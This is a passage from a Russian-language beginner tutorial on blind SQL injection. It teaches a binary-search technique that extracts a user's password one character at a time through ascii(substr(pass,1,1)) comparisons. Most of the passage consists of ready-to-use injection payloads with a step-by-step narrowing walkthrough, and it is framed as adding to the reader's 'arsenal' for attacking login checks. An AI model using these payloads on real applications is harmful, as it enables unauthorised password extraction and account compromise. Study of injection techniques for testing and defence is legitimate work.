Более быстрый способ относительно способа с like, а так он дольше, чем с mid, но понятнее для новичка, и является одним из самых ходовых вариантов для решения слепых инъекций.
Решается также с помощью подзапросов. Предположим первый символ пароля буква d и в ASCII она равна 100
-1 or login='fast' and ascii(substr(pass,1,1))>97#
Здесь мы узнаём является ли первый символ больше 97 в ASCII(это буква а и с неё стандартно начинается поиск). Если да, то ставим цифру больше, но не на 1, а на 50% от диапазона чисел. Диапазон в ASCII смотрим по таблице, он до 127. То есть (127-97)/2=15 и 97+15=112 Конечно так точно высчитывать ничего не нужно, всё примерно на глаз можно делать.
-1 or login='fast' and ascii(substr(pass,1,1))>112#Запрос показал что число не больше 112
Следующий запрос уже будет половина от половины (112-97)/2=7 97+7=104
-1 or login='fast' and ascii(substr(pass,1,1))>104#Опять не больше 104
-1 or login='fast' and ascii(substr(pass,1,1))>100#Опять не больше 100
Осталось всего 3 варианта с 98 до 100, уже по 1 значению перебираем
-1 or login='fast' and ascii(substr(pass,1,1))>99#
Теперь угадали, вывод показал что число более 99, а в предыдущем запросе было не более 100. значит число 100. Таким образом мы выяснили первый символ за 5 запросов. А проверить можно применив знак равенства
-1 or login='fast' and ascii(substr(pass,1,1))=100#
Ну вот, теперь в твоём арсенале целых 3 варианта решения. Конечно есть ещё ) Но более экзотические и сложные нет смысла расписывать, только каша будет в голове.